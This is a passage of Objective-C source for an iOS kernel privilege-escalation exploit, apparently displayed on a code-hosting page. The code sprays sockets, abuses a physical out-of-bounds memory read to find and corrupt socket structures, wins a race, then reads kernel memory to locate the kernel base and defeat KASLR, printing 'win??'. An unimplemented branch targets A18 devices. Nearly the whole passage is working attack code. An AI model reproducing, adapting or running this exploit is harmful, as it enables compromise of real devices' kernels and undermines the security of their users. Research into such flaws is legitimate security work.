*(uint64_t *)(searchMappingAddress + k) = randomMarker;
|
||||||
|
}
|
||||||
|
[searchMappings addObject:@(searchMappingAddress)];
|
||||||
|
}
|
||||||
|
socketPorts = [NSMutableArray new];
|
||||||
|
socketPcbIds = [NSMutableArray new];
|
||||||
|
unsigned socketPortsCount = 0;
|
||||||
|
#define OPEN_MAX 10240
|
||||||
|
int maxfiles = OPEN_MAX * 3;
|
||||||
|
int leeway = 4096 * 2;
|
||||||
|
for (unsigned socketCount = 0; socketCount < (maxfiles - leeway); socketCount++) {
|
||||||
|
mach_port_t port = spray_socket(socketPorts, socketPcbIds);
|
||||||
|
if (port == -1) {
|
||||||
|
printf("[-] Failed to spray sockets: %u\n", socketCount);
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
socketPortsCount++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue;
|
||||||
|
uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue;
|
||||||
|
printf("[i] socketPortsCount: %u\n", socketPortsCount);
|
||||||
|
printf("[i] startPcbId: %llu\n", startPcbId);
|
||||||
|
printf("[i] endPcbId: %llu\n", endPcbId);
|
||||||
|
bool success = false;
|
||||||
|
for (uint64_t s = 0; s < searchMappingNum; s++) {
|
||||||
|
mach_vm_address_t searchMappingAddress = searchMappings[s].unsignedLongLongValue;
|
||||||
|
printf("[i] looking in search mapping: %llu\n", s);
|
||||||
|
mach_port_t memoryObject = 0;
|
||||||
|
mach_vm_size_t memoryObjectSize = searchMappingSize;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("[-] mach_make_memory_entry_64 failed!!!");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
surface_mlock(searchMappingAddress, searchMappingSize);
|
||||||
|
mach_vm_offset_t seekingOffset = 0;
|
||||||
|
while (seekingOffset < searchMappingSize) {
|
||||||
|
kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
|
||||||
|
if (kr == KERN_SUCCESS) {
|
||||||
|
if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) {
|
||||||
|
success = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
seekingOffset += PAGE_SIZE;
|
||||||
|
}
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), memoryObject);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("[-] mach_port_deallocate failed!!!\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if (success == true) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sockets_release(socketPorts, socketPcbIds);
|
||||||
|
for (uint64_t s = 0; s < searchMappingNum; s++) {
|
||||||
|
mach_vm_address_t searchMappingAddress = searchMappings.lastObject.unsignedLongLongValue;
|
||||||
|
[searchMappings removeLastObject];
|
||||||
|
kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);
|
||||||
|
}
|
||||||
|
if (isA18Device) {
|
||||||
|
surface_munlock(wiredMapping, wiredMappingSize);
|
||||||
|
}
|
||||||
|
if (success == true) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void pe_v2(void)
|
||||||
|
{
|
||||||
|
// TODO: Implement
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t kernel_base;
|
||||||
|
uint64_t kernel_slide;
|
||||||
|
|
||||||
|
int main(int argc, char* argv[])
|
||||||
|
{
|
||||||
|
init_globals();
|
||||||
|
struct utsname name;
|
||||||
|
uname(&name);
|
||||||
|
|
||||||
|
isA18Device = (bool)strstr(name.machine, "iPhone17,");
|
||||||
|
|
||||||
|
if (isA18Device) {
|
||||||
|
printf("[+] Running on A18 device\n");
|
||||||
|
sleep(8);
|
||||||
|
pe_init();
|
||||||
|
pe_v2();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("[+] Running on non-A18 device\n");
|
||||||
|
pe_init();
|
||||||
|
pe_v1();
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[+] highestSuccessIdx: %d\n", highestSuccessIdx);
|
||||||
|
printf("[+] successReadCount: %d\n", successReadCount);
|
||||||
|
|
||||||
|
goSync = 0;
|
||||||
|
raceSync = 1;
|
||||||
|
pthread_join(freeThread, NULL);
|
||||||
|
close(writeFd);
|
||||||
|
close(readFd);
|
||||||
|
|
||||||
|
uint64_t control_socket_pcb = early_kread64(rwSocketPcb + 0x20);
|
||||||
|
uint64_t pcbinfo_pointer = early_kread64(control_socket_pcb + 0x38);
|
||||||
|
uint64_t ipi_zone = early_kread64(pcbinfo_pointer + 0x68);
|
||||||
|
|
||||||
|
// TODO: This is not a text pointer on iOS 15
|
||||||
|
uint64_t zv_name = early_kread64(ipi_zone + 0x10);
|
||||||
|
|
||||||
|
kernel_base = zv_name & 0xFFFFFFFFFFFFC000;
|
||||||
|
while (true) {
|
||||||
|
if (early_kread64(kernel_base) == 0x100000cfeedfacf) {
|
||||||
|
// TODO: This doesn't exist on iOS 15
|
||||||
|
if (early_kread64(kernel_base + 0x8) == 0xc00000002) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
kernel_base -= PAGE_SIZE;
|
||||||
|
}
|
||||||
|
kernel_slide = kernel_base - 0xfffffff007004000;
|
||||||
|
|
||||||
|
printf("early_kread64(%#llx) -> %#llx\n", kernel_base, early_kread64(kernel_base));
|
||||||
|
|
||||||
|
// TODO: Implement to prevent panic on exit
|
||||||
|
//krw_sockets_leak_forever();
|
||||||
|
|
||||||
|
printf("win??\n");
|
||||||
|
sleep(5);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Loading…
x
Reference in New Issue
Block a user